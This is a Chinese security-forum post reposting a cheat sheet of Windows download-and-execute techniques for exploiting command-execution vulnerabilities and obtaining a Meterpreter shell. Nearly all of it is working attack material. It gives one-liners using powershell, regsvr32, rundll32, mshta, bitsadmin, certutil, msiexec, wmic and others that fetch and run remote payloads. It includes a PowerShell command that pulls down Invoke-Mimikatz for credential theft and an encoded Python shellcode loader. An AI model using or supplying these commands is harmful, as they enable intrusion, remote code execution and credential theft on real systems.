搜索
查看: 884|回复: 0

windows命令执行漏洞不会玩? 看我!

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2017-10-20 20:54:10 | 显示全部楼层 |阅读模式
原文链接:https://evi1cg.me/archives/remote_exec.html

经常有小伙伴碰到了命令执行漏洞不会玩,比如mssql注入点的命令执行,怎么来获取一个meterpreter?这个时候,就需要想办法来获取了,关于命令行来执行远程命令的方法碰到很多,但是用的时候老会记不起来,所以在这里把碰到的作为一个总结,没准那种方法能帮到你。(当然,我们这里不说可以直接echo webshell的情形)
1、powershell
eg:
  1. powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
复制代码
2、regsvr32
eg:
  1. regsvr32 /u /s /i:http://site.com/js.png scrobj.dll
复制代码
js.png
  1. <?XML version="1.0"?>
  2. <scriptlet>
  3. <registration
  4.     progid="ShortJSRAT"
  5.     classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
  6.     <!-- Learn from Casey Smith @subTee -->
  7.     <script language="JScript">
  8.         <![CDATA[
  9.             ps  = "cmd.exe /c calc.exe";
  10.             new ActiveXObject("WScript.Shell").Run(ps,0,true);
  11.         ]]>
  12. </script>
  13. </registration>
  14. </scriptlet>
复制代码
3、rundll32
eg:
  1. rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}%
复制代码
细节:看我
4、mshta
eg:
  1. mshta http://site.com/calc.hta
复制代码
calc.hta
  1. <HTML>
  2. <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  3. <HEAD>
  4. <script language="VBScript">
  5. Window.ReSizeTo 0, 0
  6. Window.moveTo -2000,-2000
  7. Set objShell = CreateObject("Wscript.Shell")
  8. objShell.Run "calc.exe"
  9. self.close
  10. </script>
  11. <body>
  12. demo
  13. </body>
  14. </HEAD>
  15. </HTML>
复制代码
5、pubprn.vbs
eg:
  1. cscript /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
复制代码
6、bitsadmin
eg:
  1. cmd.exe /c bitsadmin /transfer d90f http://site.com/a %APPDATA%\d90f.exe&%APPDATA%\d90f.exe&del %APPDATA%\d90f.exe
复制代码
7、python(需安装)
eg:
  1. python -c "import urllib2; exec urllib2.urlopen('http://site.com/abc').read();"
复制代码
abc
  1. import base64; exec base64.b64decode("aW1wb3J0IGN0eXBlcwppbXBvcnQgcGxhdGZvcm0KCihhcmNoLCB0eXBlKSA9IHBsYXRmb3JtLmFyY2hpdGVjdHVyZSgpCgojIDMyLWJpdCBQeXRob24KaWYgYXJjaCA9PSAiMzJiaXQiOgoJc2hlbGxjb2RlID0gIlx4ZmNceGU4XHg4OVx4MDBceDAwXHgwMFx4NjBceDg5XHhlNVx4MzFceGQyXHg2NFx4OGJceDUyXHgzMFx4OGJceDUyXHgwY1x4OGJceDUyXHgxNFx4OGJceDcyXHgyOFx4MGZceGI3XHg0YVx4MjZceDMxXHhmZlx4MzFceGMwXHhhY1x4M2NceDYxXHg3Y1x4MDJceDJjXHgyMFx4YzFceGNmXHgwZFx4MDFceGM3XHhlMlx4ZjBceDUyXHg1N1x4OGJceDUyXHgxMFx4OGJceDQyXHgzY1x4MDFceGQwXHg4Ylx4NDBceDc4XHg4NVx4YzBceDc0XHg0YVx4MDFceGQwXHg1MFx4OGJceDQ4XHgxOFx4OGJceDU4XHgyMFx4MDFceGQzXHhlM1x4M2NceDQ5XHg4Ylx4MzRceDhiXHgwMVx4ZDZceDMxXHhmZlx4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Vx4NDhceDg5XHhkYVx4NDFceGI4XHgwMFx4MjBceDAwXHgwMFx4NDlceDg5XHhmOVx4NDFceGJhXHgxMlx4OTZceDg5XHhlMlx4ZmZceGQ1XHg0OFx4ODNceGM0XHgyMFx4ODVceGMwXHg3NFx4YjZceDY2XHg4Ylx4MDdceDQ4XHgwMVx4YzNceDg1XHhjMFx4NzVceGQ3XHg1OFx4NThceGMzXHhlOFx4MzVceGZmXHhmZlx4ZmZceDMxXHgzMFx4MzNceDJlXHgzMlx4MzNceDM4XHgyZVx4MzJceDMyXHgzNVx4MmVceDMxXHgzMlx4MzlceDAwIiAKZWxzZToKCXNoZWxsY29kZSA9ICIiCgojIHNhbml0eSBjaGVjayBvdXIgc2l0dWF0aW9uCmlmIHR5cGUgIT0gIldpbmRvd3NQRSIgb3IgbGVuKHNoZWxsY29kZSkgPT0gMDoKCXF1aXQoKQoKIyBpbmplY3Qgb3VyIHNoZWxsY29kZQpyd3hwYWdlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5WaXJ0dWFsQWxsb2MoMCwgbGVuKHNoZWxsY29kZSksIDB4MTAwMCwgMHg0MCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KHJ3eHBhZ2UsIGN0eXBlcy5jcmVhdGVfc3RyaW5nX2J1ZmZlcihzaGVsbGNvZGUpLCBsZW4oc2hlbGxjb2RlKSkKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoMCwgMCwgcnd4cGFnZSwgMCwgMCwgMCkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5XYWl0Rm9yU2luZ2xlT2JqZWN0KGhhbmRsZSwgLTEpCg==")
复制代码
8、certutil
eg:
  1. certutil -urlcache -split -f http://site.com/a a.exe && a.exe &&  del a.exe && certutil -urlcache -split -f http://192.168.254.102:80/a delete
复制代码
9、msiexec
  1. msiexec /q /i http://site.com/payloads/calc.png
复制代码
calc.png
  1. msfvenom -f msi -p windows/exec CMD=calc.exe > cacl.png
复制代码
10、msxsl.exe(需下载)
eg:
  1. msxsl https://evi1cg.me/scripts/demo.xml https://evi1cg.me/scripts/exec.xsl
复制代码
demo.xml
  1. <?xml version="1.0"?>
  2. <?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
  3. <customers>
  4. <customer>
  5. <name>Microsoft</name>
  6. </customer>
  7. </customers>
复制代码
exec.xsl
  1. <?xml version='1.0'?>
  2. <xsl:stylesheet version="1.0"
  3. xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  4. xmlns:msxsl="urn:schemas-microsoft-com:xslt"
  5. xmlns:user="http://mycompany.com/mynamespace">

  6. <msxsl:script language="JScript" implements-prefix="user">
  7.    function xml(nodelist) {
  8. var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
  9.    return nodelist.nextNode().xml;

  10.    }
  11. </msxsl:script>
  12. <xsl:template match="/">
  13.    <xsl:value-of select="user:xml(.)"/>
  14. </xsl:template>
  15. </xsl:stylesheet>
复制代码
11、IEExec
eg:
  1. C:\Windows\Microsoft.NET\Framework\v2.0.50727\> caspol -s off
  2. C:\Windows\Microsoft.NET\Framework\v2.0.50727\> IEExec http://site.com/files/test64.exe
复制代码
细节:戳我
12、IEXPLORE.EXE
这个需要IE存在可执行命令的漏洞
eg:
  1. "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://site.com/exp
复制代码
exp可以使用类似ms14_064

13、wmic
wmic os get /format:"http://x/x.xsl"
  1. <?xml version='1.0'?>
  2. <stylesheet
  3. xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
  4. xmlns:user="placeholder"
  5. version="1.0">
  6. <output method="text"/>
  7.         <ms:script implements-prefix="user" language="JScript">
  8.         <![CDATA[
  9.         var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
  10.         ]]> </ms:script>
  11. </stylesheet>
复制代码

方式应该还有很多,欢迎留言补充!!

过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表